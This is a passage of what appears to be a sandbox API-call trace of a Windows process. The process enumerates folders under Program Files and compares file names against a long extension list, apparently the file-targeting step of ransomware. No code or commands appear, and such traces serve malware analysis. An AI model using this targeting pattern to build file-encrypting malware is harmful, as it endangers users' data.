[0193.231] lstrlenW (lpString=".json") returned 5 [0193.231] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0193.231] lstrlenW (lpString=".jsp") returned 4 [0193.231] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0193.231] lstrlenW (lpString=".kdc") returned 4 [0193.231] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0193.231] lstrlenW (lpString=".kmz") returned 4 [0193.231] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0193.231] lstrlenW (lpString=".kwm") returned 4 [0193.231] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0193.231] lstrlenW (lpString=".lasso") returned 6 [0193.231] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0193.231] lstrlenW (lpString=".lbi") returned 4 [0193.231] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0193.231] lstrlenW (lpString=".lgf") returned 4 [0193.231] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0193.231] lstrlenW (lpString=".lgp") returned 4 [0193.231] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0193.231] lstrlenW (lpString=".log") returned 4 [0193.231] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0193.231] lstrlenW (lpString=".m1v") returned 4 [0193.231] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0193.231] lstrlenW (lpString=".m4a") returned 4 [0193.231] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0193.232] lstrlenW (lpString=".m4v") returned 4 [0193.232] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0193.232] lstrlenW (lpString=".max") returned 4 [0193.232] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0193.232] lstrlenW (lpString=".md") returned 3 [0193.232] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0193.232] lstrlenW (lpString=".mda") returned 4 [0193.232] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0193.232] lstrlenW (lpString=".mdb") returned 4 [0193.232] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0193.232] lstrlenW (lpString=".mde") returned 4 [0193.232] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0193.232] lstrlenW (lpString=".mdf") returned 4 [0193.232] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0193.232] lstrlenW (lpString=".mdw") returned 4 [0193.232] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0193.232] lstrlenW (lpString=".mef") returned 4 [0193.232] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0193.232] lstrlenW (lpString=".mft") returned 4 [0193.232] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0193.232] lstrlenW (lpString=".mfw") returned 4 [0193.232] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0193.232] lstrlenW (lpString=".mht") returned 4 [0193.232] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0193.232] lstrlenW (lpString=".mhtml") returned 6 [0193.233] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0193.233] lstrlenW (lpString=".mka") returned 4 [0193.233] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0193.233] lstrlenW (lpString=".mkidx") returned 6 [0193.233] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0193.233] lstrlenW (lpString=".mkv") returned 4 [0193.233] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0193.233] lstrlenW (lpString=".mos") returned 4 [0193.233] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0193.233] lstrlenW (lpString=".mov") returned 4 [0193.233] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0193.233] lstrlenW (lpString=".mp3") returned 4 [0193.233] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0193.233] lstrlenW (lpString=".mp4") returned 4 [0193.233] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0193.233] lstrlenW (lpString=".mpeg") returned 5 [0193.233] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0193.233] lstrlenW (lpString=".mpg") returned 4 [0193.233] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0193.233] lstrlenW (lpString=".mpv") returned 4 [0193.233] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0193.233] lstrlenW (lpString=".mrw") returned 4 [0193.233] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0193.233] lstrlenW (lpString=".msg") returned 4 [0193.233] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0193.233] lstrlenW (lpString=".mxl") returned 4 [0193.233] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0193.233] lstrlenW (lpString=".myd") returned 4 [0193.234] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0193.234] lstrlenW (lpString=".myi") returned 4 [0193.234] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0193.234] lstrlenW (lpString=".nef") returned 4 [0193.234] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0193.234] lstrlenW (lpString=".nrw") returned 4 [0193.234] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0193.234] lstrlenW (lpString=".obj") returned 4 [0193.234] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0193.234] lstrlenW (lpString=".odb") returned 4 [0193.234] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0193.234] lstrlenW (lpString=".odc") returned 4 [0193.234] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0193.234] lstrlenW (lpString=".odm") returned 4 [0193.234] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0193.234] lstrlenW (lpString=".odp") returned 4 [0193.234] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0193.234] lstrlenW (lpString=".ods") returned 4 [0193.234] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0193.234] lstrlenW (lpString=".oft") returned 4 [0193.234] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0193.234] lstrlenW (lpString=".one") returned 4 [0193.234] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0193.234] lstrlenW (lpString=".onepkg") returned 7 [0193.234] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0193.234] lstrlenW (lpString=".onetoc2") returned 8 [0193.234] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0193.234] lstrlenW (lpString=".opt") returned 4 [0193.235] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0193.235] lstrlenW (lpString=".oqy") returned 4 [0193.235] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0193.235] lstrlenW (lpString=".orf") returned 4 [0193.235] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0193.235] lstrlenW (lpString=".p12") returned 4 [0193.235] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0193.235] lstrlenW (lpString=".p7b") returned 4 [0193.235] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0193.235] lstrlenW (lpString=".p7c") returned 4 [0193.235] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0193.235] lstrlenW (lpString=".pam") returned 4 [0193.235] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0193.235] lstrlenW (lpString=".pbm") returned 4 [0193.235] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0193.235] lstrlenW (lpString=".pct") returned 4 [0193.235] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0193.235] lstrlenW (lpString=".pcx") returned 4 [0193.235] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0193.235] lstrlenW (lpString=".pdd") returned 4 [0193.235] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0193.235] lstrlenW (lpString=".pdf") returned 4 [0193.235] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0193.235] lstrlenW (lpString=".pdp") returned 4 [0193.235] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0193.235] lstrlenW (lpString=".pef") returned 4 [0193.235] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0193.236] lstrlenW (lpString=".pem") returned 4 [0193.236] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0193.236] lstrlenW (lpString=".pff") returned 4 [0193.236] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0193.236] lstrlenW (lpString=".pfm") returned 4 [0193.236] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0193.236] lstrlenW (lpString=".pfx") returned 4 [0193.236] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0193.236] lstrlenW (lpString=".pgm") returned 4 [0193.236] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0193.236] lstrlenW (lpString=".php") returned 4 [0193.236] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0193.236] lstrlenW (lpString=".php3") returned 5 [0193.236] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0193.236] lstrlenW (lpString=".php4") returned 5 [0193.236] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0193.236] lstrlenW (lpString=".php5") returned 5 [0193.236] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0193.237] lstrlenW (lpString=".phtml") returned 6 [0193.237] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0193.237] lstrlenW (lpString=".pict") returned 5 [0193.237] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0193.237] lstrlenW (lpString=".pl") returned 3 [0193.237] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0193.237] lstrlenW (lpString=".pls") returned 4 [0193.237] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0193.237] lstrlenW (lpString=".pm") returned 3 [0193.237] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0193.237] lstrlenW (lpString=".png") returned 4 [0193.237] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0193.237] lstrlenW (lpString=".pnm") returned 4 [0193.237] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0193.237] lstrlenW (lpString=".pot") returned 4 [0193.237] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0193.237] lstrlenW (lpString=".potm") returned 5 [0193.237] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0193.237] lstrlenW (lpString=".potx") returned 5 [0193.237] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0193.237] lstrlenW (lpString=".ppa") returned 4 [0193.237] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0193.237] lstrlenW (lpString=".ppam") returned 5 [0193.237] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0193.237] lstrlenW (lpString=".ppm") returned 4 [0193.238] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0193.238] lstrlenW (lpString=".pps") returned 4 [0193.238] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0193.238] lstrlenW (lpString=".ppsm") returned 5 [0193.238] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0193.238] lstrlenW (lpString=".ppt") returned 4 [0193.238] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0193.238] lstrlenW (lpString=".pptm") returned 5 [0193.238] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0193.238] lstrlenW (lpString=".pptx") returned 5 [0193.238] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0193.238] lstrlenW (lpString=".prn") returned 4 [0193.238] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0193.238] lstrlenW (lpString=".ps") returned 3 [0193.238] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0193.238] lstrlenW (lpString=".psb") returned 4 [0193.238] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0193.238] lstrlenW (lpString=".psd") returned 4 [0193.238] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0193.238] lstrlenW (lpString=".pst") returned 4 [0193.238] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0193.238] lstrlenW (lpString=".ptx") returned 4 [0193.238] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0193.238] lstrlenW (lpString=".pub") returned 4 [0193.238] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0193.238] lstrlenW (lpString=".pwm") returned 4 [0193.239] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0193.239] lstrlenW (lpString=".pxr") returned 4 [0193.239] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0193.239] lstrlenW (lpString=".py") returned 3 [0193.239] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0193.239] lstrlenW (lpString=".qt") returned 3 [0193.239] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0193.239] lstrlenW (lpString=".r3d") returned 4 [0193.239] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0193.239] lstrlenW (lpString=".raf") returned 4 [0193.239] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0193.239] lstrlenW (lpString=".rar") returned 4 [0193.239] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0193.239] lstrlenW (lpString=".raw") returned 4 [0193.239] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0193.239] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4116d1f6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0193.239] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4116d1f6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0193.240] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4116d1f6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0 [0193.240] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0193.240] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0193.240] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cfdb9c3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9cfdb9c3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9cfdb9c3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19340, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0193.240] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7963430c, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7963430c, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x1de400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0193.240] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cfdb9c3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9cfdb9c3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9cfdb9c3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x194200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0193.241] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf69289, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9cf69289, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9cf69289, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0193.241] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x18f7d52f, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0193.241] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x18f7d52f, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 0 [0193.241] FindClose (in: hFindFile=0x4531c00 | out: hFindFile=0x4531c00) returned 1 [0193.241] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0193.241] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a42d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0193.241] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3750048 [0193.241] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a42d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531780 [0193.242] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a42d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.242] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955ce979, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x955ce979, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x955ce979, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0193.242] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955ce979, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x955ce979, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x955ce979, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0193.242] FindClose (in: hFindFile=0x4531780 | out: hFindFile=0x4531780) returned 1 [0193.242] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0193.242] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a9e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xae3, dwReserved1=0xffffc2f2, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0193.242] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3750048 [0193.242] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a9e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531dc0 [0193.243] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a9e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.243] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0193.243] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x463ef98 [0193.243] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531c00 [0193.243] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.243] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b053, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0193.243] FindClose (in: hFindFile=0x4531c00 | out: hFindFile=0x4531c00) returned 1 [0193.243] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0193.243] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1 [0193.243] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x463ef98 [0193.243] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, 